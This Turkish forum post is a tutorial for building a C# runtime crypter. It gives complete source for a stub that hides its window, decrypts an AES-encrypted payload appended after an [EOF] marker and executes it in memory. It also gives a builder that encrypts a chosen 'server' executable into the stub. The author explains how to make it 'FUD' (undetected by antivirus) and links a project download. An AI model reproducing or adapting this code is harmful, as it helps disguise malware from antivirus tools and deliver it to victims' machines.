Merhaba , bu konumda C# ile Runtime crypter yapacağız.
Fud yada Ud yapabilmeniz için string ve byte değerlerinin adlarını , algoritmayı , ve eof adını değiştirebilirsiniz.
Yada daha farklı mantık deneyebilirsiniz , mesela şifrelenmiş byteları eof olarak stubın sonuna eklemek yerine stuba string olarak
kaydedebilirsiniz.
İlk olarak Stubı hazırlayacağım. Bunun için yeni bir konsol projesi açıyorum.
Kod:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Reflection;
namespace Patrick_Jane_Crypter_Stub
{
class Program
{
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);//Konsol ekranının gözükmemesi için dll import ediyoruz.
static **** Main(string[] args)
{
ShowWindow(Process.GetCurrentProcess().MainWindowH andle, 0);
RijndaelManaged rijAlg = new RijndaelManaged();//Yeni rijndael managed oluşturduk.
rijAlg.Key = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//Key belirliyoruz 16 bit uzunlukta
rijAlg.IV = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");// IV belirliyoruz 16 bit uzunlukta
ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);// yeni ıcrypto transform oluşturuyoruz.
MemoryStream msDecrypt = new MemoryStream();
CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Write);//crypto stream oluşturup içine
// türünü yazıcağımız için write olarak belirliyoruz.
string file = File.ReadAllText(Environment.CurrentDirectory + "\\" + AppDomain.CurrentDomain.FriendlyName.Replace(".vsh ost", ""));
if (file.Contains("[EOF]"))// if değeri oluşturuyoruz eğer stubın sonunda [EOF] adlı ayraç varsa kodları çalıştırcak eğer yoksa //kapancak
{
byte[] base64 = Convert.FromBase64String(file.Substring(file.Index Of("[EOF]") + "[EOF]".Length));//[EOF] ayracından sonra gelen yazıları yani şifrelenmiş kodları base64 olarak çözcek.
csDecrypt.Write(base64, 0, base64.Length);//base64 ile çözdüğümüz kodları bu sefer tekrar belirlediğimiz iv ve key ile çözecek //ve memory stream e yazdırcak.
csDecrypt.Close();//işimiz bittiği için kapatıyoruz.
Assembly asm = Assembly.Load(msDecrypt.ToArray());//çözülmüş olan kodları memory steamden alıp bellekte çalıştırcak.
asm.EntryPoint.Invoke(null, null);
}
}
}
}
Stubı hazırladık şimdi sıra builderda.
Aslında ben ilk builder yapıp sonra stubı yaparım ama burda böyle anlatmayı tercih ettim :)
Builder
Kod:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Security.Cryptography;
namespace Patrick_Jane_Crypter_Builder
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private **** Form1_Load(object sender, EventArgs e)
{
}
private **** button1_Click(object sender, EventArgs e)
{
OpenFileDialog server = new OpenFileDialog();// open file dialog oluşturup sadece exe seçmesini sağlıyoruz.
server.Filter = "Exe | *.exe"; // bu arada serveri seçiyoruz burda
if (server.ShowDialog() == DialogResult.OK) // eğer seçerse dosyanın yolu textbox1 e yazdırılcak.
textBox1.Text = server.FileName; //
}
private **** button2_Click(object sender, EventArgs e)
{
OpenFileDialog stub = new OpenFileDialog();// yeni bir open file olarak daha oluşturuyoruz ve sadece exe seçmesini sağlıyoruz.
stub.Filter = "Exe | *.exe"; //stubı seçiyoruz.
if (stub.ShowDialog() == DialogResult.OK) // eğer seçerse dosya yolu textbox2 e yazdırılcak.
textBox2.Text = stub.FileName;
}
private **** button3_Click(object sender, EventArgs e)
{
byte[] server = File.ReadAllBytes(textBox1.Text); // textbox1 deki dosyanın bytelarını okuyoruz.
RijndaelManaged rijAlg = new RijndaelManaged(); // yeni rijndael managed oluşturuyoruz.
rijAlg.Key = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//16 bit uzunlukta key seçiyoruz.
rijAlg.IV = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//16 bit uzunlukta iv seçiyoruz.
ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, rijAlg.IV);
MemoryStream msEncrypt = new MemoryStream();
CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write);//crypto stream oluşturuyoruz
// yazdırcağımız için modu write olarak seçiyoruz.
csEncrypt.Write(server, 0,server.Length);//okduğumuz dosyanın bytelarını şifreliyoruz ve memory streame yazdırıyoruz.
csEncrypt.Close();//işimiz bittiği için kapatıyoruz.
string base64 = Convert.ToBase64String(msEncrypt.ToArray());//şifrelenmiş kodları base64 ile tekrar şifreleyip düzenli hale //gelmesini sağlıyoruz.
File.AppendAllText(textBox2.Text, "[EOF]" + Convert.ToBase64String(msEncrypt.ToArray()));//textbox2 deki seçtiğimiz olan stubın
// sonuna [EOF] adlı ayraç koyuyor ve base64 ile şifrelediğimiz kodları [EOF]'un sonrasına koyuyor.
}
}
}
Sansürlenmiş yerlerde "v0id" yazıyor.0 yerine o gelcek.
Stub projesinde konsolu kapatmayı unutmuşum :D
Rijndael Managed'ın önceki satırına "ShowWindow(Process.GetCurrentProcess().MainWi ndow Handle, 0);" ekleyin.
Valla basitçe anlattım.
Fud yada Ud yapabilmeniz için string , byte adlarını ve algoritmayı değiştirmeniz gerekmekte ve key ve iv yi de kesin olarak
değiştirmeniz
gerekmekte.
Stubı taratmadım çünkü zaten antiler tarafından çok algılanacaktır nedeni bu string ve byte adları ile milyonlarca crypter
oluşturulmuştur.
Hatam varsa belirtirseniz sevinirim.
PROJE LİNKİhttps://www.dosya.tc/server31/oulcok...ypter.zip.html
C# Crypter Yapımı
C#0 Mesaj
●60 Görüntüleme
- ReadBull.net
- Programlama ve Yazılım
- Programlama Dilleri
- C#
- C# Crypter Yapımı